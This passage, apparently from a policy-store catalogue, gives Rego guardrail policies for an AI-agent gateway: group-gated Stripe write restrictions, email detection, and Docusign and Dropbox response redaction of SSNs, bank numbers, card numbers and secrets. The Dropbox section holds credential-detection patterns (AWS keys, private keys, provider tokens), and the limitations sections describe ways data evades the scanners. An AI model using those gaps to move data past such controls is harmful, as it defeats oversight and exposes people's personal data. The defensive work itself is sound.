suffix. is_api_write_tool if { endswith(tool_name, "api_write") } # Caller belongs to a group allowed to use the passthrough. Missing or # malformed claims fail closed: no groups -> not privileged. caller_is_privileged if { claims := object.get(object.get(input, "subject", {}), "claims", {}) groups := object.get(claims, "groups", []) some g in groups lower(g) in allowed_groups } # Serialize the whole argument object so the endpoint check holds regardless # of the passthrough's (unverified) argument key shape. serialized_args := lower(json.marshal(object.get(object.get(input, "payload", {}), "args", {}))) args_reference_blocked_endpoint if { some token in blocked_endpoint_tokens contains(serialized_args, token) } # Any tool other than the API-write passthrough is out of this policy's scope. allow if { not is_api_write_tool } # The passthrough is allowed only for privileged callers, and never toward # money-movement or account endpoints. allow if { is_api_write_tool caller_is_privileged not args_reference_blocked_endpoint } reasons contains "The Stripe API-write passthrough can execute any Stripe write and is restricted to the finance and billing-admin groups. Use the dedicated named Stripe tools for routine changes, or ask your Stripe administrator for access. Contact your InfoSec team if this was a false positive." if { is_api_write_tool not caller_is_privileged } reasons contains "This Stripe API-write call references a money-movement or account endpoint (payouts, transfers, topups, /v1/accounts, financial_connections), which is blocked for every caller on the agent channel. Use the dedicated named Stripe tools or the Stripe dashboard for money movement. Contact your InfoSec team if this was a false positive." if { is_api_write_tool args_reference_blocked_endpoint } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Detect Email PII (Allow with Reason) URL: https://www.intentbasedpolicy.com/policies/onboarding/detect-email-allow App(s): onboarding | Direction: ingress | Bundles: none | Package: onboarding.ingress.detect_email_allow | Published: 2026-07-23 | Tags: onboarding, pii, email, observability, ingress Source: https://github.com/dtwoai/policy-store/blob/main/apps/onboarding/detect-email-allow/policy.md # Detect email addresses (allow, with a note) A watch-only starter policy. It looks for email addresses in what your agents send, and whenever it spots one it lets the request through but tags the decision with the note `Email Detected`. It never blocks anything. This is a great first policy to turn on. You don't have to write any code to get value from it — attach it to a gateway and you'll start seeing real policy activity in your dashboard, so you can watch how often email addresses come up before deciding whether you want to do anything stricter. ## What it does Each time an agent calls a tool, this policy checks the request for anything that looks like an email address. If it finds one, the request still goes through, but the decision is labelled `Email Detected` so it stands out in your policy activity. If there's no email address, the request passes with no note. Because it only watches and never blocks, it's safe to run from day one. When you're ready to actually act on email addresses, pair it with the companion policies that [block](../deny-email/policy.md) them or [hide](../redact-email/policy.md) them. ## When to use it Turn this on when you want visibility — to see whether, and how often, email addresses show up in your agents' activity — without changing what your agents are allowed to do. ## Example An agent tries to post the message "ping jane@example.com about the invoice". The request is allowed to continue, and the decision is tagged `Email Detected` so you can find it in your dashboard. A message with no email address is allowed with no note. ```rego package onboarding.ingress.detect_email_allow # Passive observability policy — always allows, but attaches an "Email Detected" # reason when an email address appears anywhere in the request arguments. default allow := true # Matches an email address embedded anywhere in a string value. email_pattern := `[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}` # True when any (possibly nested) string value in the request args contains an email. email_detected if { input.mode == "input" walk(object.get(input.payload, "args", {}), [_, value]) is_string(value) regex.match(email_pattern, value) } # Allow-with-reason: the call is permitted, but the decision carries this reason # so the detection is visible in the policy observability views. reason := "Email Detected" if { email_detected } ``` ### Docusign: Redact SSN, Bank & Card Values on Egress URL: https://www.intentbasedpolicy.com/policies/docusign/redact-tab-values-egress App(s): docusign | Direction: egress | Bundles: soc2, gdpr-ccpa | Package: docusign.egress.redact_tab_values | Published: 2026-07-12 | Tags: docusign, redact-pii, tab-values, pii, phi, pan, dlp, redaction, egress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/docusign/redact-tab-values-egress/policy.md # docusign / redact-tab-values-egress **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `docusign.egress.redact_tab_values` ## What it does Scans the responses of Docusign envelope- and agreement-reading tools and rewrites high-confidence regulated identifiers before the response reaches the agent's context: | Class | Detection | Result | |---|---|---| | US SSN | hyphenated `XXX-XX-XXXX` anywhere; label-anchored bare 9 digits (`SSN: 123456789`, `Social Security Number 123456789`); Docusign tab JSON (`"tabLabel":"SSN","value":"123456789"`) | `[REDACTED-SSN]` (labels preserved) | | US bank routing number | label-anchored plain text (`routing`/`ABA` + 9 digits) or tab JSON (label containing `routing`/`aba` + `"value"`); only when paired with an account number in the same block | `[REDACTED-BANK-ROUTING]` | | US bank account number | label-anchored plain text (`account`/`acct` + 6–17 digits) or tab JSON (label containing `account`/`acct` + `"value"`); only when paired with a routing number in the same block | `[REDACTED-BANK-ACCOUNT]` | | Payment card PAN | 16-digit 4×4 groups, **Luhn-validated** in Rego | masked to **BIN + last 4** (e.g. `411111******1111`), per PCI DSS 3.4.1 | Matches are replaced in place, leaving the surrounding JSON/text structure intact so envelope status, recipient routing, and agreement metadata remain usable. The policy is transform-only: it never denies a call, and responses with no matches (and all out-of-scope tools) pass through byte-identical. `listRecipients` egresses **filled recipient tab values** (form-field data) and `getAgreementDetails` egresses **Navigator AI-extracted contract terms** — both routinely carry the SSN and bank-account tabs used in HR and healthcare signing flows (I-9s, direct-deposit authorizations, patient intake). Masking on egress enforces minimum-necessary and data-minimisation on the read path without blocking legitimate status lookups. ### Group exemption Callers whose IdP `groups` claim contains `hr` or `finance` (placeholder names — see Known limitations) receive **unredacted** responses. The check reads `input.subject.claims.groups` via `object.get` chains: a missing subject, missing claims, or missing `groups` claim means the caller is *not* exempt and redaction applies — the grant fails closed. ## Compliance alignment - **HIPAA §164.502(b) / §164.514(d)** — supports minimum-necessary, role-based access to PHI-bearing envelope data: only placeholder `hr`/`finance` group members see raw identifiers; everyone else gets working envelope data with identifiers masked. **§164.514(a)–(b)** — supports de-identification practice by stripping Safe-Harbor identifier classes (SSN, account numbers) from responses; **§164.530(c)** — privacy safeguards on the agent read path. - **GDPR Art. 5(1)(c)** — data minimisation on agent reads of personal data; **Art. 9** — reduces special-category exposure on the MCP path where identifiers co-occur with health content in signing flows; **Art. 5(1)(f)/32** — supports security of processing. - **CCPA/CPRA §1798.121** — supports limiting the use and disclosure of sensitive personal information (SSN, financial account numbers) on the agent channel; **§1798.150** — reduces nonredacted-PI breach exposure. - **SOC 2 CC6.7** — supports restricting the transmission/movement of confidential information by masking direct identifiers in envelope data as it leaves the gateway toward the agent; **C1.1** / **P4.1** — supports identification/protection of confidential information and limiting PI use to identified purposes. - **PCI DSS 3.4.1** — supports PAN masking on display: card numbers found in tab values are masked to BIN (first six) + last four, the maximum PCI DSS permits for personnel without a documented business need for full PAN. ## Why egress The identifiers already live in completed envelopes — there is nothing to block at ingress, and denying envelope reads outright would break the status-lookup and agreement-summary flows agents legitimately need. The leak happens when tab values and extracted provisions are returned to the MCP client, so the response path is the only place to catch it while keeping the data useful. ## Tool name matching Applies on the output path — scoped when either `input.mode == "output"` or `input.action == "tool_post_invoke"` holds, so redaction still fires on a gateway build that populates only one of the two (keying on `mode` alone would fail open if it were unset). The tool name is read from all three egress surfaces — `input.resource.name`, `input.tool_metadata.name`, and `input.payload.name` — and a hit on **any** of them puts the call in scope. Matching is case-insensitive: - `*getEnvelope*` — **contains** match, covering both `getEnvelope` (single envelope, incl. tab metadata) and `getEnvelopes` (status search) from the official Docusign MCP Server (names verified against the official tool catalog). - `*listRecipients` — suffix match; official server (verified). The tool that egresses filled tab values. - `*getAgreementDetails` / `*getAllAgreements` — suffix match; official server, Navigator AI-extracted agreement terms (verified). Both the single-agreement detail read and the list variant egress extracted provisions and party data, so both are in scope. - `*download_envelope_document` — suffix match; **community** luthersystems/mcp-server-docusign (name verified from source). The official production catalog has **no** document-download tool, so whole-document coverage applies only to community servers that expose one — and see Known limitations: its base64 payload largely evades regex scanning. The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `docusign-mcp-listRecipients`), and that prefix is not standardized — suffix/contains matching keeps the policy portable. Verify the exact names your gateway emits with the dump-input debug technique before relying on this in production. ## Response shape The policy reads `input.payload.text` — the MCP content-block array the gateway populates on `tool_post_invoke` — and rewrites each string block. Official-server responses mirror the mapped eSignature/Navigator REST bodies serialized as JSON (recipient `tabs` arrays such as `ssnTabs` carry `tabLabel`/`value` pairs); the JSON-aware patterns above target the `"tabLabel":"…","value":"…"` shape directly, and the plain-text patterns catch identifiers in extracted provisions and free-text summaries. Non-string blocks pass through unmodified. When at least one block changes, the policy emits `transform.transformed_payload` containing the original payload with the rewritten `text` array (all other payload keys preserved). ## Examples ### Redacted (tab values, non-exempt caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "docusign-mcp-listRecipients", "type": "tool" }, "subject": { "sub": "auth0|u1", "claims": { "groups": ["legal"] } }, "payload": { "name": "docusign-mcp-listRecipients", "text": ["{\"tabLabel\":\"SSN\",\"value\":\"123456789\"} card 4111 1111 1111 1111"] } } } ``` `allow = true`, with `transform.transformed_payload.text` = `["{\"tabLabel\":\"SSN\",\"value\":\"[REDACTED-SSN]\"} card 411111******1111"]`. ### Passed through (exempt caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "docusign-mcp-listRecipients", "type": "tool" }, "subject": { "sub": "auth0|u2", "claims": { "groups": ["hr"] } }, "payload": { "name": "docusign-mcp-listRecipients", "text": ["{\"tabLabel\":\"SSN\",\"value\":\"123456789\"}"] } } } ``` `allow = true`, no `transform` — the `hr` group receives raw tab values. ## Composition Single-purpose transform policy (`default allow := true`); it composes cleanly with deny policies on the same egress pipeline. Recommended companions in `apps/docusign`: - A **group-gated egress deny** on `*download_envelope_document` (community servers) — base64-encoded PDFs are the single largest data-out channel here and largely evade pattern scanning (see Known limitations), so denying the tool outside a `contracts-read` group is the real control. - A **force-drafts ingress transform** on `*createEnvelope*` / `*create_envelope*` (PF-25) so agents prepare envelopes but only authorized senders dispatch them. - A **void-protection ingress deny** on `updateEnvelope` with `status: "voided"` — voiding a sent envelope is irreversible. ## Known limitations - **Base64 document content is opaque to pattern scanning.** The community `download_envelope_document` tool returns the signed PDF as `contentBase64`; identifiers inside the encoded document do not match any regex. This policy still scans that tool's response for plain-text identifiers (IDs, summaries), but for real control over whole-PDF egress pair it with a group-gated deny as described under Composition. - **Pattern-based detection is best-effort.** Obfuscated, split-across-line, spelled-out, or image-embedded values are not caught. A Luhn-valid 16-digit number that is not a card can be over-masked — masking to BIN+last4 (rather than a fixed token) keeps such false positives usable. - **Tab JSON matching assumes label-before-value ordering.** The JSON-aware patterns match a tab whose SSN/bank label appears **before** its `value` field within the same JSON object. Intervening tab members between the label and value (`tabId`, `documentId`, `pageNumber`, `recipientId`, …) are tolerated — the `[^{}]*?` skip walks over them but cannot cross the object boundary, so one tab's label never pairs with another tab's value. If a server serializes `value` **before** the label, only the unlabeled detections apply: hyphenated SSNs and Luhn-valid PANs are still caught, but a bare 9-digit SSN or bank account number with no preceding label is left alone (bare 9-digit runs collide with phone numbers and reference IDs, so they are deliberately not matched unlabeled). - **Bank pair heuristic is conservative by design.** A routing number without an account number in the same content block (and vice versa) is *not* redacted — this keeps lone reference numbers usable. - **Community metadata tools not matched.** luthersystems `get_envelope_status`, `list_envelopes`, and `list_envelope_documents` return status/metadata rather than tab values and are not in the match list — add suffixes if your deployment routes tab data through them. - **Official argument/response shapes are documented REST bodies, not an MCP schema dump.** Per the landscape research, verify against a live `tools/list` and the dump-input technique before relying on exact response shapes in production. - **Group names are placeholders — replace `hr` and `finance` with your IdP's group names at import time.** The exemption is granted **only** for a `groups` claim shaped as an array of strings (a single bare string is also handled). Any other shape fails closed → redaction applies: a missing subject/claims/`groups`, an object/map (e.g. `{"department": "finance"}` — the `is_array` guard stops its *values* from being read as group names), and nested/non-string array elements are all treated as *not exempt*. - **Egress `transformed_payload` replaces the response payload wholesale.** Verify the rewrite against your gateway version with the dump-input technique before production, and mind attachment order if other egress transforms run on the same pipeline. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package docusign.egress.redact_tab_values # Transform-only egress policy: rewrites regulated identifiers (SSN, bank # routing/account numbers, Luhn-valid card PANs) in Docusign envelope- and # agreement-reading tool responses before they reach the agent. Never denies. # Callers in an exempt IdP group receive unredacted responses. default allow := true # ----------------------------------------------------------------------------- # Scope: Docusign tools whose responses carry filled tab values or extracted # agreement terms. Contains/suffix matching keeps the policy portable across # gateway server-name prefixes. Official names (getEnvelope, getEnvelopes, # listRecipients, getAgreementDetails) verified against the official Docusign # MCP Server tool catalog; download_envelope_document verified from the # luthersystems community server source. The official production catalog has # no document-download tool. # ----------------------------------------------------------------------------- # Egress scope: match the post-invoke/output path on either mode or action. If # we keyed on input.mode alone and a gateway build left it unset, the scope # check would silently fail and redaction would no-op (fail open, leaking tab # values). Ingress (tool_pre_invoke / mode "input") satisfies neither branch. is_egress if { input.mode == "output" } is_egress if { input.action == "tool_post_invoke" } # The tool name is exposed on egress under resource.name (PARC), # tool_metadata.name (legacy), and payload.name (tool-hook canonical). Collect # all three and match if ANY carries an in-scope name — matching only a subset # would let a gateway that populates a different surface slip data past the # scanner. candidate_names contains lower(object.get(input.resource, "name", "")) candidate_names contains lower(object.get(object.get(input, "tool_metadata", {}), "name", "")) candidate_names contains lower(object.get(object.get(input, "payload", {}), "name", "")) # getEnvelope / getEnvelopes: contains-match so one branch covers both the # single-envelope read and the status search (both egress envelope metadata # and, for getEnvelope, tab data). is_envelope_data_tool if { is_egress some n in candidate_names contains(n, "getenvelope") } # Suffix-matched tools: listRecipients (filled tab values), getAgreementDetails # and getAllAgreements (Navigator AI-extracted terms — the list variant carries # the same extracted provisions/party data, so both are in scope), and the # community download_envelope_document (whole signed document; see policy doc # for the base64 caveat). envelope_tool_suffixes := { "listrecipients", "getagreementdetails", "getallagreements", "download_envelope_document", } is_envelope_data_tool if { is_egress some suffix in envelope_tool_suffixes some n in candidate_names endswith(n, suffix) } # ----------------------------------------------------------------------------- # Group exemption — placeholder IdP groups whose members receive unredacted # responses. Replace "hr" / "finance" with your IdP's group names at import # time. object.get chains mean a missing subject/claims/groups claim is never # exempt: the grant fails closed and redaction applies. # ----------------------------------------------------------------------------- exempt_groups := {"hr", "finance"} caller_groups := object.get( object.get(object.get(input, "subject", {}), "claims", {}), "groups", [], ) is_exempt if { # Only an array of group strings grants the exemption. The is_array guard # is load-bearing: `some g in caller_groups` over an OBJECT iterates its # values, so a namespaced/metadata claim like {"department": "finance"} # would else wrongly exempt the caller. is_string(g) keeps # nested/non-string elements from matching. Anything but a clean array of # strings fails closed -> redact. is_array(caller_groups) some g in caller_groups is_string(g) lower(g) in exempt_groups } is_exempt if { # Some IdPs emit a single group as a bare string rather than an array. is_string(caller_groups) lower(caller_groups) in exempt_groups } # ----------------------------------------------------------------------------- # Detection patterns — anchored and conservative to limit false positives. # Docusign responses are JSON-serialized REST bodies, so each class has a # plain-text form (extracted provisions, summaries) and, where labels and # values are separated by JSON structure, a tab-JSON form matching the # `"tabLabel":"…","value":"…"` shape. # ----------------------------------------------------------------------------- # US SSN in the canonical hyphenated form, anywhere. Bare 9-digit runs are too # collision-prone with phone numbers and reference IDs to redact unlabeled. ssn_hyphenated_pattern := `\b\d{3}-\d{2}-\d{4}\b` # Label-anchored SSN: an ssn/social-security label immediately followed by a # separator and 9 digits (hyphenated or bare). Captures the label and # separator so the replacement preserves them. ssn_label_pattern := `(?i)\b(ssn|social[ _-]?security(?:[ _-]?(?:no|num|number))?)("?\s*[:#=]?\s*"?)\d{3}[- ]?\d{2}[- ]?\d{4}\b` # Docusign tab JSON: a quoted label containing ssn/social security, then the # "value" field of the SAME object (label-before-value ordering; see policy # doc). `[^{}]*?` lazily skips any intervening tab members (tabId, documentId, # pageNumber, ...) between the label and value but cannot cross an object # boundary, so it never pairs one tab's label with another tab's value. ssn_json_pattern := `(?i)("[^"]*(?:ssn|social[ _-]?security)[^"]*"[^{}]*?"value"\s*:\s*")\d{3}[- ]?\d{2}[- ]?\d{4}(")` # Labeled US bank routing number (exactly 9 digits) and account number (6-17 # digits), plain-text form. Label-anchored so arbitrary digit runs are never # touched; both classes must appear in the same content block before either is # redacted (bank_pair). routing_pattern := `(?i)\b(?:aba|routing)(?:\s+(?:no|num|number)\.?)?\s*[:#]?\s*\d{9}\b` account_pattern := `(?i)\b(?:account|acct)(?:\s+(?:no|num|number)\.?)?\s*[:#]?\s*\d{6,17}\b` # Tab-JSON forms of the same two classes (direct-deposit tabs egress this way # through listRecipients). Same `[^{}]*?` intervening-member skip as the SSN # tab pattern: label and value may be separated by other tab fields within the # one object, but the match cannot leak across the object boundary. routing_json_pattern := `(?i)("[^"]*(?:routing|aba)[^"]*"[^{}]*?"value"\s*:\s*")\d{9}(")` account_json_pattern := `(?i)("[^"]*(?:account|acct)[^"]*"[^{}]*?"value"\s*:\s*")\d{6,17}(")` # 16-digit card-shaped runs in 4x4 groups with optional space/hyphen # separators. Candidates are only masked after passing the Luhn check below — # a matching shape alone is not enough. card_pattern := `\b\d{4}[- ]?\d{4}[- ]?\d{4}[- ]?\d{4}\b` # ----------------------------------------------------------------------------- # Luhn check — validates card-shaped candidates so envelope/reference numbers # that merely look like PANs are left alone. # ----------------------------------------------------------------------------- digits_only(s) := regex.replace(s, `[^0-9]`, "") luhn_contribution(d, parity) := d if { parity == 0 } luhn_contribution(d, parity) := 2 * d if { parity == 1 (2 * d) < 10 } luhn_contribution(d, parity) := (2 * d) - 9 if { parity == 1 (2 * d) >= 10 } luhn_valid(digits) if { chars := split(digits, "") n := count(chars) total := sum([v | some i, c in chars v := luhn_contribution(to_number(c), (n - 1 - i) % 2) ]) total % 10 == 0 } # All card-shaped substrings of t that pass the Luhn check. card_candidates(t) := {c | some c in regex.find_n(card_pattern, t, -1) luhn_valid(digits_only(c)) } # PCI DSS 3.4.1 masking: keep the BIN (first six digits) and last four, mask # the middle. 4111111111111111 -> 411111******1111. mask_pan(c) := masked if { d := digits_only(c) masked := concat("", [substring(d, 0, 6), "******", substring(d, 12, 4)]) } # ----------------------------------------------------------------------------- # Redaction steps — each is total over strings: it returns the input unchanged # when its class doesn't apply, so the steps chain safely. # ----------------------------------------------------------------------------- redact_ssn(t) := out if { hyphenated := regex.replace(t, ssn_hyphenated_pattern, "[REDACTED-SSN]") tabbed := regex.replace(hyphenated, ssn_json_pattern, "$1[REDACTED-SSN]$2") out := regex.replace(tabbed, ssn_label_pattern, "$1$2[REDACTED-SSN]") } bank_routing_present(t) if { regex.match(routing_pattern, t) } bank_routing_present(t) if { regex.match(routing_json_pattern, t) } bank_account_present(t) if { regex.match(account_pattern, t) } bank_account_present(t) if { regex.match(account_json_pattern, t) } bank_pair(t) if { bank_routing_present(t) bank_account_present(t) } redact_bank(t) := out if { bank_pair(t) r1 := regex.replace(t, routing_pattern, "[REDACTED-BANK-ROUTING]") r2 := regex.replace(r1, routing_json_pattern, "$1[REDACTED-BANK-ROUTING]$2") r3 := regex.replace(r2, account_pattern, "[REDACTED-BANK-ACCOUNT]") out := regex.replace(r3, account_json_pattern, "$1[REDACTED-BANK-ACCOUNT]$2") } redact_bank(t) := t if { not bank_pair(t) } redact_cards(t) := out if { cands := card_candidates(t) count(cands) > 0 # Candidates contain only digits, spaces, and hyphens; each is replaced # literally with its own BIN+last4 mask via strings.replace_n. out := strings.replace_n({c: mask_pan(c) | some c in cands}, t) } redact_cards(t) := t if { count(card_candidates(t)) == 0 } # Order matters: SSNs first (so they can't be half-eaten by later patterns), # then labeled bank pairs (so a labeled 16-digit account number is classified # as a bank account, not a card), then Luhn-checked card masking. redact_block(b) := redact_cards(redact_bank(redact_ssn(b))) if { is_string(b) } # Non-string content blocks (structured/JSON blocks) pass through unmodified. redact_block(b) := b if { not is_string(b) } # ----------------------------------------------------------------------------- # Transform — emitted only when in scope, the caller is not exempt, and at # least one block actually changed. Otherwise the rule is undefined and the # aggregator skips this policy, returning the response byte-identical. # ----------------------------------------------------------------------------- text_blocks := object.get(input.payload, "text", []) redacted_blocks := [out | some block in text_blocks out := redact_block(block) ] transform := { "transformed_payload": object.union(input.payload, {"text": redacted_blocks}), } if { is_envelope_data_tool not is_exempt is_array(text_blocks) redacted_blocks != text_blocks } ``` ### Dropbox: Redact PII, PANs, and Secrets in File Content URL: https://www.intentbasedpolicy.com/policies/dropbox/redact-content-egress App(s): dropbox | Direction: egress | Bundles: soc2, hipaa, gdpr-ccpa | Package: dropbox.egress.redact_content | Published: 2026-07-12 | Tags: dropbox, redact-content, redact-pii, mask-pan, secrets, pii, dlp, egress, soc2, hipaa, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/dropbox/redact-content-egress/policy.md # dropbox / redact-content-egress **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `dropbox.egress.redact_content` ## What it does Scans the responses of the Dropbox file-content read tools and sanitises the returned text before it reaches the agent. Dropbox is a generic bucket, so one `path` can return PII, PHI, a financial statement, or a credentials file — this policy is the primary DLP layer on the MCP read path. It never blocks the read; it only rewrites the body: | Class | Detection | Result | |---|---|---| | Payment card (PAN) | 13-19-digit runs and 4×4 / Amex 4-6-5 grouped forms, **Luhn-validated** in Rego | masked to **BIN + last-four** (`4111 1111 1111 1111` → `411111******1111`) | | US national ID (SSN / ITIN) | hyphenated `XXX-XX-XXXX` form | `[REDACTED-SSN]` | | Email address | standard shape | `[REDACTED-EMAIL]` | | US phone number | separator-formatted 3-3-4 | `[REDACTED-PHONE]` | | Secret | `AKIA…` access-key IDs, PEM `-----BEGIN … PRIVATE KEY-----` blocks, provider token prefixes (`ghp_`, `github_pat_`, `xox[baprs]-`, `sk_live_`, `AIza…`, `sk-…`) | `[REDACTED-SECRET]` | Matches are rewritten in place, so the surrounding document structure, citations, and extraction fields stay usable. The policy is transform-only: it never denies a call, and responses with no matches (and all non-content tools) pass through byte-identical. ### Full-PAN carve-out Callers whose IdP `groups` claim contains the placeholder group `pci-fullpan` (fraud / chargeback staff who genuinely need the complete number) receive the **unmasked** PAN. The carve-out is read via `object.get(input.subject, "claims", {})`: a missing subject, missing claims, missing `groups`, or a malformed `groups` claim all leave the caller **not exempt**, so PAN masking applies — the grant fails closed. The carve-out is **PAN-only**: even an exempt caller still gets SSNs, emails, phones, and secrets redacted, because there is no role that needs raw credentials or Social Security numbers in agent context. ## Compliance alignment - **PCI DSS 3.4.1** — supports masking of PAN on display: the agent channel shows at most BIN+last4, with full-PAN visibility limited to the defined `pci-fullpan` role. **PCI DSS 3.4.2** — supports preventing PAN copy/relocation via remote-access technologies: an agent that only ever receives the masked form cannot re-post the full PAN into another file, share, or chat. **PCI DSS 12.10.7** — the gateway's transform/decision audit events give the "PAN-where-not-expected" incident process a concrete trigger, since a Dropbox document is a classic not-expected location for cardholder data. - **SOC 2 CC6.7** — supports restricting the transmission/movement of confidential information by masking/redacting direct identifiers in Dropbox content as it leaves the gateway toward the agent. **SOC 2 C1.1 / P4.1** — supports identifying and protecting confidential information and limiting personal-information use to identified purposes on the read path. - **HIPAA §164.502(b) / §164.514(d)** — supports minimum-necessary, role-based access: identifiers are stripped for everyone; only the `pci-fullpan` role sees raw card numbers. **HIPAA §164.514(a)–(b)** — supports de-identification practice by stripping Safe-Harbor identifier classes (SSN, email, phone) from responses. **HIPAA §164.530(c)** — administrative safeguard on the agent read path. - **GDPR Art. 5(1)(c)** — data minimisation on agent reads of personal data. **GDPR Art. 9** — reduces special-category exposure where identifiers co-occur with health/financial content. **CCPA/CPRA §1798.121** — supports limiting the use and disclosure of sensitive personal information (SSN, financial account numbers) on the agent channel; **§1798.150** — reduces nonredacted-PI breach exposure. ## Why egress The PII, PANs, and secrets already live in Dropbox — there is nothing to block at ingress, and denying reads outright would make the documents unusable. The leak happens when file-derived text is returned to the MCP client, so the response path is the only place to catch it while keeping the content useful. ## Tool name matching Applies on the output path — scoped when either `input.mode == "output"` or `input.action == "tool_post_invoke"` holds, so redaction still fires on a gateway build that populates only one of the two (keying on `mode` alone would fail open if it were unset). Tools are matched case-insensitively **by suffix**, so it works regardless of the MCP server-name prefix the gateway adds (`dropbox-mcp-…`, `dbx-…`, etc.). The tool name is read from all three egress surfaces — `input.resource.name`, `input.tool_metadata.name`, and `input.payload.name` — and a suffix hit on **any** of them puts the call in scope, so a gateway that populates a different surface can't slip content past the scanner. Content-read tools matched (from the Dropbox landscape research): - **`*GetFileContent`** — official remote server (mcp.dropbox.com; PascalCase), extracts text from PDF/Word/text up to 5 MB. The main egress surface. - **`*get_file_content`**, **`*download_file`** — `amgadabdelhafez/dbx-mcp-server` (community, snake_case). - **`*dropbox_download`** — `ngs/dropbox-mcp-server` (community, `dropbox_` prefix). Metadata / search tools (`GetFileMetadata`, `ListFolder`, `Search`) are deliberately out of scope — this policy sanitises returned **file content**, not filenames or listings. The externally-visible URL minter `DownloadLink` (official) returns a *URL*, not content, so it is intentionally **not** matched (it never ends in a content suffix) — pair it with `apps/dropbox/guard-share-links-external` on ingress. Tool names are verified against Dropbox's help docs and the community READMEs, but the official server's **argument/response JSON schemas are unverified** (the landscape note flags that Dropbox does not publish them, and the help page lists "21 tools" while enumerating 23). Verify the exact tool names and the response content-block shape your gateway emits with the dump-input debug technique before relying on this in production, and add suffixes for any other content-returning tools your deployment exposes. ## Response shape The policy reads `input.payload.text` — the MCP content-block array the gateway populates on `tool_post_invoke` — and rewrites each string block. Non-string blocks pass through unmodified. When at least one block changes, the policy emits `transform.transformed_payload` containing the original payload with the rewritten `text` array (all other payload keys preserved). ## Examples ### Transformed (content tool, non-exempt caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "dropbox-mcp-GetFileContent", "type": "tool" }, "subject": { "sub": "auth0|u1", "claims": { "groups": ["support"] } }, "payload": { "name": "dropbox-mcp-GetFileContent", "text": ["SSN 123-45-6789, card 4111 1111 1111 1111, key AKIA1234567890ABCDEF"] } } } ``` `allow = true`, with `transform.transformed_payload.text` = `["SSN [REDACTED-SSN], card 411111******1111, key [REDACTED-SECRET]"]`. ### Transformed (exempt caller — PAN kept, SSN still redacted) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "dropbox-mcp-GetFileContent", "type": "tool" }, "subject": { "sub": "auth0|u2", "claims": { "groups": ["pci-fullpan"] } }, "payload": { "name": "dropbox-mcp-GetFileContent", "text": ["SSN 123-45-6789, card 4111 1111 1111 1111"] } } } ``` `allow = true`, `transform.transformed_payload.text` = `["SSN [REDACTED-SSN], card 4111 1111 1111 1111"]` — the `pci-fullpan` group keeps the raw card number but the SSN is still redacted. ### Passed through (no sensitive data / out-of-scope tool) A content block with no PII/PAN/secret produces no transform. A metadata or listing tool (`GetFileMetadata`, `ListFolder`) is out of scope and passes through byte-identical even when its output contains a match. ## Composition Single-purpose transform policy (`default allow := true`); it composes cleanly with deny policies on the same egress pipeline. Recommended companions in `apps/dropbox`: - **fence-sensitive-paths** (ingress) — keeps agents out of protected folder trees entirely, covering formats this policy cannot text-scan. - **guard-share-links-external** (ingress) — so redacted-on-read content isn't simply shared out through `CreateSharedLink` / `DownloadLink` / `CreateFileRequest` instead. ## Known limitations - **Conservative regex over extracted text — high-signal, not complete DLP.** Detection runs only over the text the server extracts. Custom-format identifiers, values inside binary or office formats the server does not text-extract, obfuscated/spelled-out/base64-encoded values, and anything split across content blocks are **not** caught. Treat this as a high-signal layer, not a guarantee. The PAN, SSN, email, and phone patterns are `\b`-anchored, so a sensitive value glued **directly** to an adjacent word character with no separating space/punctuation (e.g. an email whose TLD abuts a card number, `jane@acme.com4111111111111111`) can defeat the word boundary and pass through — a contrived shape, but a real edge of boundary-anchored matching. - **National-ID coverage is US-shaped only.** The SSN pattern matches the hyphenated US SSN/ITIN form (`XXX-XX-XXXX`). Bare 9-digit runs are left alone (they collide with Dropbox file IDs and countless document numbers), and non-US national-ID formats (which are country-specific) are not matched — add their shapes to the Rego if your corpus contains them. - **Email and phone are redacted stand-alone.** Every email address and every separator-formatted US phone number in a matched response is redacted, so document footers and "contact us" lines lose their contact details. If that is too aggressive for your corpus, pair-gate them (see `apps/box/redact-pii-egress` for the co-occurrence heuristic) or narrow the patterns. - **Luhn-valid non-card numbers are masked too.** The Luhn check eliminates most IDs and timestamps, but some checksummed non-card numbers (certain IMEIs, etc.) are Luhn-valid and will be masked; the masked form keeps BIN+last4, so such false positives usually stay recognisable. A card split across content blocks (no single block with 13+ contiguous card digits) is not masked. - **Secret detection is prefix/shape-based.** Only `AKIA…`, PEM private-key **blocks** (BEGIN…END in one content block; a header without its END marker, or a key split across blocks, is missed), and the listed provider token prefixes are caught. Generic `key: value` credential pairs, custom-format or short-lived tokens, and any provider not in the list are not matched — extend `secret_patterns` for your environment. `sk-[A-Za-z0-9]{20,}` (OpenAI) is a broad shape and can over-match unrelated `sk-`-prefixed strings. - **Structured (non-string) content blocks and non-array `text` are not scanned — fail-open.** The policy rewrites only string entries of `input.payload.text`, and only when `text` is a JSON array. A value carried inside a content block delivered as a JSON *object* (a typed `{"type":"text","text":"…"}` block), or a `payload.text` delivered as a bare string, passes through unredacted. Serialized JSON *inside* a string block **is** scanned. Confirm your gateway/server delivers string blocks with the dump-input technique. - **Group names are placeholders — replace `pci-fullpan` with your IdP's group name at import time.** The carve-out honours a `groups` claim shaped as an array of strings (a single bare string is also handled). Any other shape — a missing subject/claims/`groups`, an object/map (e.g. `{"role": "pci-fullpan"}`), a number, null, or nested/non-string array elements — fails closed → PAN masked. If your IdP emits roles under a namespaced claim, point `caller_groups` at the array before matching. - **Egress `transformed_payload` replaces the response payload wholesale.** Verify the rewrite against your gateway version with the dump-input technique before production, and mind attachment order if other egress transforms run on the same pipeline. - **MCP path only.** The raw content still exists in Dropbox and in Dropbox's 